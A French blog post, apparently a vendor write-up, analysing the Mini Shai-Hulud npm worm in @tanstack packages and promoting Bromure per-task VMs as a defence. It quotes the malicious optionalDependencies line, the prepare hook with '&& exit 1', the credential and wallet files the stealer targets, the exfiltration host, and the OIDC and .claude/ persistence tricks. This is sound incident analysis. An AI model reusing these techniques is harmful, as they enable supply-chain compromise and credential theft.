Le ver qui s'écrit lui-même dans .claude
Le 11 mai 2026, un ver npm appelé Mini Shai-Hulud a ajouté une ligne optionalDependencies à 42 packages dans l'espace de noms @tanstack. L'installation de l'un d'entre eux a exécuté un script Bun qui a récupéré un token OIDC depuis l'environnement GitHub Actions, l'a utilisé pour publier d'autres versions compromises avec une provenance SLSA valide, s'est copié dans .claude/ pour la prochaine fois que l'agent de codage démarrerait, et a exfiltré tout de ~/.aws à votre portefeuille crypto. Les packages étaient signés. L'attestation était valide. Voici à quoi ressemble la chaîne, et ce qui change quand l'agent qui a exécuté l'installation vit dans une VM Bromure per-task.
Le 11 mai 2026, entre environ 19h20 et 19h26 UTC, quelqu'un a
poussé quatre-vingt-quatre artefacts malveillants à travers quarante-deux
packages @tanstack — y compris @tanstack/react-router, la bibliothèque
de routage que douze millions de lignes npm install tirent chaque semaine.
Les packages étaient signés par le vrai pipeline de release de TanStack,
portant une provenance SLSA valide, car le ver n'avait pas volé de token
de publication. Il a détourné le runner GitHub Actions de TanStack en
plein build. Et avant de partir, sur chaque machine qui installait une
des mauvaises versions, il a écrit une copie de persistance de lui-même
dans .claude/.
Il y a un type d'attaque de supply-chain qui est documenté parce que
quelqu'un a volé le mot de passe d'un mainteneur. Ce n'en est pas une.
La version de Mini Shai-Hulud que
Aikido,
Socket,
Wiz,
et Snyk
ont tous attrapée lundi soir n'avait pas besoin de mot de passe. Il fallait
qu'un développeur quelque part tape npm install sur un projet qui dépendait,
de manière transitive, de @tanstack/react-router. Le reste — y compris
la partie où la CI de TanStack elle-même a forgé la signature sur la release
malveillante — était automatique.
La mécanique compte, car c'est elle qui fait de cette attaque une question sur à quoi l'agent de codage sur votre laptop a les clés, plutôt qu'une question sur npm. Alors parcourons la chaîne.
La ligne de JSON.
Le premier build malveillant de @tanstack/react-router, version
1.169.5, contenait un package.json avec exactement ceci :
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
Une URL Git, pas un package npm. Un commit épinglé, pas une plage de versions.
Le package.json de ce commit, à son tour, contenait :
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
Quand npm installe une dépendance Git, il exécute le script prepare de
la dépendance. Ce n'est pas un bug ; c'est le contrat documenté, car les
dépendances Git sont généralement du source, et le source a généralement
besoin d'un build. Le && exit 1 est la partie intelligente : cela fait
échouer l'installation de la dépendance optionnelle, ce qui signifie que
npm ne l'enregistre pas dans package-lock.json, ce qui signifie qu'une
victime auditant le lockfile un jour plus tard ne voit rien de mal.
La charge utile a tourné. Le lockfile est propre.
Le runtime, au fait, est Bun. Pas Node. npm installera Bun pour vous à la demande, donc le ver n'a même pas besoin d'apporter le sien. Il n'y a rien de mal avec Bun — c'est un runtime JavaScript parfaitement raisonnable — mais sa présence donne au code obfusqué une toolchain légèrement moins encombrée pour se cacher, et c'est, pour le moment, ce que l'attaquant veut.
Ce que fait le runner une fois qu'il tourne.
Trois fichiers. Chacun est indépendamment mauvais.
router_init.js est le voleur de credentials. Il parcourt le disque pour
les suspects habituels — ~/.aws/credentials, ~/.npmrc,
~/.docker/config.json, ~/.config/gh/hosts.yml, ~/.kube/config,
~/.ssh/*, et tout dotfile dont le nom contient le mot token —
plus la liste qui distingue cette attaque des incidents de supply-chain
de 2022 : les coffres-forts sur disque des portefeuilles d'extensions
de navigateur (MetaMask, Phantom, Keplr), les fichiers de session locaux
de Cursor et Windsurf, le propre token de l'agent assis dans l'environnement
du processus parent, et tous les fichiers de configuration de serveur MCP
dans l'arborescence du projet. Quoi qu'il trouve, il le tar, le chiffre,
et l'expédie vers filev2.getsession.org/file/, un drop contrôlé par
l'attaquant hébergé derrière un service de partage de fichiers autrement
légitime pour que l'egress ressemble à un curl vers un CDN.
tanstack_runner.js est le propagateur. Une fois qu'il a volé le token
npm de la victime, il énumère les packages que ce token peut publier,
repack chaque tarball avec la ligne optionalDependencies malveillante
épissée dans package.json, incrémente la version, et republie. C'est la
partie qui fait de Mini Shai-Hulud un ver plutôt qu'un seul mauvais package :
chaque mainteneur qui installe une dépendance compromise devient potentiellement
le prochain attaquant.
router_runtime.js est la copie de persistance. Le
démontage
de Socket note que le runner écrit une copie de lui-même dans le
sous-répertoire .claude/ de quel que soit le projet dans lequel il se trouve,
car .claude/ est le répertoire que Claude Code lit au démarrage pour les
paramètres de portée de projet, les commandes slash, et les configurations d'outils.
La prochaine fois que le développeur ouvre ce repo dans Claude Code — ou
pire, la prochaine fois que leur agent de codage ouvre automatiquement le
repo sur une machine fraîchement checkout — le fichier de persistance est
déjà dans l'arbre de travail de l'agent. Le ver est patient.
Le truc OIDC : comment un package malveillant a obtenu une provenance SLSA valide.
Voici la partie qui devrait tenir éveillé la nuit quiconque fait tourner
un pipeline de release. Le @tanstack/[email protected] compromis est
arrivé sur npm avec une provenance SLSA valide. Sigstore l'a signé. L'API
d'attestation de GitHub l'a béni. Si vous aviez scripté une vérification
qui disait "n'installer que des packages avec provenance", vous l'auriez
installé quand même.
La raison est mécanique. La provenance SLSA ne dit pas "ce code est sûr."
Elle dit "cet artefact a été construit par le workflow dont l'identité OIDC
l'a signé." Pour que ce soit un signal de sécurité, le workflow lui-même
doit être non-compromis. Dans ce cas, le workflow était le vrai workflow
de release de TanStack — mais une étape plus tôt dans le même job a
exécuté une dépendance dont le propre script d'installation (ici, le script
prepare d'un package malveillant que l'arbre de dépendances de TanStack
contenait déjà une version injectée par le ver) avait exécuté à l'intérieur
du runner. Le runner est un arbre de processus. Le runner a la variable
d'environnement ACTIONS_ID_TOKEN_REQUEST_TOKEN et l'URL
ACTIONS_ID_TOKEN_REQUEST_URL, c'est comme ça que les workflows légitimes
forgent des tokens OIDC à courte durée. De même que tout autre chose qui
tourne dans cet arbre de processus. Le ver a appelé le même endpoint, a
obtenu un token scopé au repository de TanStack, l'a utilisé pour publier,
et Sigstore a signé le résultat car, du point de vue de Sigstore, TanStack
a publié. Le writeup de Socket est direct à ce sujet : "Ne faites pas
confiance aux badges de provenance Sigstore seuls comme signal de sécurité."
C'est la même leçon que les incidents LiteLLM et Bitwarden CLI dont nous
avons parlé il y a deux semaines,
reformulée dans un registre qui pensait avoir verrouillé la porte d'entrée.
Le lockfile n'est pas une défense si la charge utile est dans prepare.
La signature n'est pas une défense si le runner du signataire est la charge utile.
À quoi ressemble la chaîne de bout en bout.
L'image a deux propriétés qui valent la peine de s'attarder dessus, car ce sont elles qui décident quelles mitigations fonctionnent et lesquelles ne fonctionnent pas.
La première est que chaque fichier que le ver lit est un fichier que
l'utilisateur a mis là pour l'utilisateur. Personne n'a choisi de donner
à une bibliothèque de routage l'accès à ~/.aws/credentials. La raison
pour laquelle elle a l'accès, c'est que le shell qui a exécuté npm install
a l'accès, car le développeur qui était assis devant ce shell a l'accès,
et c'est comme ça qu'Unix fonctionne. L'agent est, mécaniquement, une
extension des mains du développeur. Il hérite de la portée du développeur.
La seconde est que l'étape destructive n'est pas le vol de credentials.
C'est l'écriture de persistance dans .claude/. Un pur vol de credentials
est une arme à un coup — faites tourner les clés et vous avez terminé.
Un fichier de persistance dans le répertoire de config de portée de projet
de l'agent signifie que la prochaine session de codage, sur une machine
fraîchement checkout, avec un développeur différent, exécute le ver à
nouveau, avec les clés de ce développeur, sur la machine de ce développeur.
Le rayon d'explosion n'est pas un laptop. C'est l'équipe.
La même chaîne à l'intérieur de Bromure Agentic Coding.
Bromure Agentic Coding est la configuration dans laquelle l'agent de codage — Claude Code, le CLI de Cursor, le CLI Codex, Aider, peu importe votre préférence — tourne à l'intérieur d'une VM Bromure per-task, avec le dossier de projet monté dedans, et rien d'autre. La VM est le même invité Linux jetable qu'un onglet de navigateur Bromure utilise ; l'agent vit juste dedans pour la durée de vie d'une tâche au lieu de la durée de vie d'un chargement de page.
Voici ce que cela fait à la chaîne ci-dessus, fichier par fichier.
Mapper les étapes du ver là où elles meurent.
Parcourir les trois fichiers du runner contre les frontières de Bromure, un par un, c'est la partie où cela cesse d'être un slogan et commence à être une checklist.
router_init.js tend la main vers les clés.
Le runner lit ~/.aws/credentials, ~/.npmrc, $GH_TOKEN,
~/.config/gh/hosts.yml, ~/.kube/config, ~/.docker/config.json,
et ~/.ssh/id_ed25519. À l'intérieur de la VM Bromure, les quatre premiers
sont des stubs — des fichiers de credentials syntaxiquement valides contenant
des strings qui ne signifient rien sur l'internet public. Le kubeconfig est
aussi un stub (ou absent, si vous n'avez pas configuré de cluster Kubernetes
pour cette tâche). La config Docker est un stub. La clé privée SSH n'est
pas du tout sur disque ; la VM a un socket ssh-agent forwarded dont le
matériel de clé vit dans le Keychain macOS du côté hôte de l'hyperviseur.
Le cat ~/.ssh/id_ed25519 du runner retourne Fichier ou répertoire inexistant
et le runner continue.
Qu'en est-il de MetaMask, Phantom, et Keplr ? Ce sont des extensions de navigateur. Bromure n'installe aucune extension Chrome dans son navigateur du tout — pas de manière "curée" ou "sandboxée", juste pas du tout — et la VM per-task qui fait tourner votre agent de codage n'a pas non plus de portefeuille desktop assis sur son système de fichiers. Les coffres de portefeuille que le runner cherche vivent sur votre hôte, dans votre vrai profil de navigateur, de l'autre côté d'une frontière Linux/macOS que le runner ne peut pas atteindre.
Les fichiers de session Cursor et Windsurf sont un cas intermédiaire intéressant. Si vous faites tourner votre agent de codage à l'intérieur d'une session agentic Bromure, alors "le fichier de session de Cursor" est le fichier à l'intérieur de cette VM — qui est une VM fraîche dont la seule identité d'agent connectée est celle que vous venez de provisionner pour cette tâche, scopée à ce repo, valide pour cette tâche. Le runner va exfiltrer ce token. Le token est bon pour une tâche sur un repo. Quand la tâche se termine, le token est tourné. Le rayon d'explosion est ce que l'agent était déjà autorisé à faire, ce qui n'est pas rien — voir ci-dessous — mais c'est loin de "l'attaquant a maintenant tout mon abonnement AI."
tanstack_runner.js essaie de republier.
Toute la raison d'être du propagateur est d'utiliser le token npm de
la victime pour publier plus de packages compromis. À l'intérieur de la VM,
le token npm dans ~/.npmrc est un stub. Le proxy egress sur l'hôte
connaît api.github.com et registry.npmjs.org pour le vrai repo
sur lequel l'utilisateur travaille actuellement, mais il ne forward pas
aveuglément les requêtes de publication contre des packages arbitraires
non liés avec le vrai token npm de l'hôte. (Si vous n'avez pas l'intention
de publier depuis cette tâche, la liste blanche du proxy n'inclut pas npm
du tout.) La tentative de publication revient 401 Unauthorized, et la
boucle de propagation du ver meurt au fil.
C'est la différence entre un courtier de credentials et un bind mount.
Un conteneur qui monte ~/.npmrc en lui-même donne au runner le vrai
token de publication. Une VM qui a un stub ~/.npmrc et un proxy côté
hôte qui connaît la différence entre "l'agent pousse vers son propre
repo de travail" et "un script republie quarante autres packages dont
je n'ai jamais entendu parler" donne au runner un 401. Même input.
Topologie différente.
router_runtime.js s'écrit dans .claude.
Le fichier de persistance est le mouvement qui convertit un incident à un onglet en pandémie multi-onglets, et c'est le mouvement auquel le modèle de disque jetable de Bromure Agentic Coding est structurellement allergique.
.claude/ vit à l'intérieur de l'arbre de projet, qui sur une session
d'agent Bromure est monté dans la VM au début de la tâche. Donc le ver
écrit avec succès router_runtime.js dans ./project/.claude/. Ce fichier
fait maintenant partie de l'arbre de travail de votre repo. Il est aussi,
selon vos paramètres de tâche, soit (a) à l'intérieur du disque CoW jetable
de la VM et sur le point d'être supprimé à la fin de la session, ou (b)
du côté hôte du mount et sur le point d'apparaître dans git status.
Dans le cas (a) la persistance disparaît. Dans le cas (b) la persistance
est assise devant le développeur avec un diff rouge à côté.
Le cas que personne ne veut est le silencieux : le ver tourne sur le laptop,
écrit .claude/router_runtime.js, le fichier est npm ignored par quelque
config héritée, et la persistance reste là se chargeant dans chaque future
session Claude Code dans ce repo parce que personne n'a jamais regardé.
C'est le cas que Bromure enlève par défaut — parce que soit le disque
disparaît, soit le fichier est dans le diff visible.
Pourquoi un conteneur ne vous amène pas ici.
La même objection s'applique que dans le writeup Bitwarden CLI : vous pouvez mettre un agent de codage dans un conteneur, et pour beaucoup de tâches quotidiennes c'est vraiment une amélioration par rapport à le faire tourner sur l'hôte. Mais la frontière n'est pas là où le ver s'en soucie.
Pour rendre un conteneur utile pour les choses qu'un agent de codage fait —
pour lui laisser faire git push, gh pr create, npm install depuis
un registre privé, pousser des images — vous finissez par monter ~/.ssh,
~/.npmrc, et le token GitHub dans le conteneur. Le script prepare fait
cat ~/.ssh/id_ed25519 et obtient le vrai fichier. Un bind mount est
exactement le ventre mou que le ver cherchait, et il ne cesse pas d'être
un ventre mou parce que Docker est impliqué.
Les portefeuilles d'extensions de navigateur comptent pour la même raison. Une fois qu'un conteneur est configuré pour être utile pour "scraper le site docs pour que je puisse le résumer" ou "ouvrir un aperçu localhost" — tâches agentiques communes — son accès au vrai profil de navigateur de l'hôte devient la question. La VM per-task de Bromure n'a pas votre profil de navigateur dedans. Elle n'a pas votre portefeuille dedans. Elle n'a pas votre équivalent LastPass dedans. L'agent parle à un Chromium frais, sans marque, sur l'invité, qui est, intentionnellement, le navigateur principal de personne.
Où cela ne vous sauve pas.
Deux endroits, et les deux méritent d'être nommés pour qu'ils ne soient pas des surprises.
L'agent peut toujours livrer du mauvais code.
Rien sur une VM per-task n'empêche un agent d'être persuadé, par un README empoisonné ou un serveur MCP retournant des instructions d'apparence utile, de commiter une backdoor dans votre code et de la pousser. La frontière protège les credentials sur votre machine. Elle ne revoit pas le diff. Lisez le diff. La trace de session rend plus facile de savoir quels diffs lire.
La liste blanche egress est tout le jeu.
Si votre tâche met en liste blanche npm publish vers votre propre
scope parce que vous publiez aujourd'hui, et que vous installez par
hasard un ver aujourd'hui, le ver publiera sous votre scope. Le courtage
fonctionne parce que la liste blanche est étroite. Rendez-la étroite
exprès. Une tâche qui n'a pas besoin de publier ne devrait pas pouvoir
publier.
Le presse-papier est toujours partagé par défaut.
Bromure vient avec le partage de presse-papier entre hôte et invité activé, parce que coller un message d'erreur dans un chat est quelque chose que les humains ont besoin de faire. Si vous faites quelque chose de sensible à l'intérieur d'une tâche, isolez le presse-papier pour cette VM. Le contrôle est là. Ce n'est juste pas le défaut.
La trace est votre log d'audit, pas votre IDS.
La trace de session capture chaque commande shell, écriture de fichier,
et requête sortante. Elle ne classe pas filev2.getsession.org comme
mauvais par elle-même. Elle capture que la requête a été faite, pour
que quand quelqu'un publie un writeup comme celui d'Aikido demain matin,
votre grep prenne deux secondes.
Une dernière chose.
Il y a une version de cette histoire où la réponse est "auditez votre lockfile." Le lockfile était propre. Il y a une version où la réponse est "n'installez que des packages avec provenance." La provenance était valide. Il y a une version où la réponse est "utilisez un conteneur." Le conteneur a un bind mount.
La version qui tient vraiment face à un ver dont la charge utile tourne
avant que le lockfile soit écrit et à l'intérieur de la CI du
publisher lui-même est la version où l'agent qui tape est assis à l'intérieur
d'une VM Linux jetable dont le proxy côté hôte détient les vraies clés.
Le contrat du registre npm ne change pas. Le hook prepare tourne toujours.
Bun boot toujours. router_init.js fait toujours son balayage. Il balaie
juste un invité dont les secrets ne sont pas les secrets de l'utilisateur,
et le disque jetable sur lequel il essaie de persister disparaît avant
le prochain café.
Bromure Agentic Coding est la configuration où c'est le défaut. C'est gratuit, open-source, et livré aujourd'hui. Le prochain ver est déjà en cours d'upload.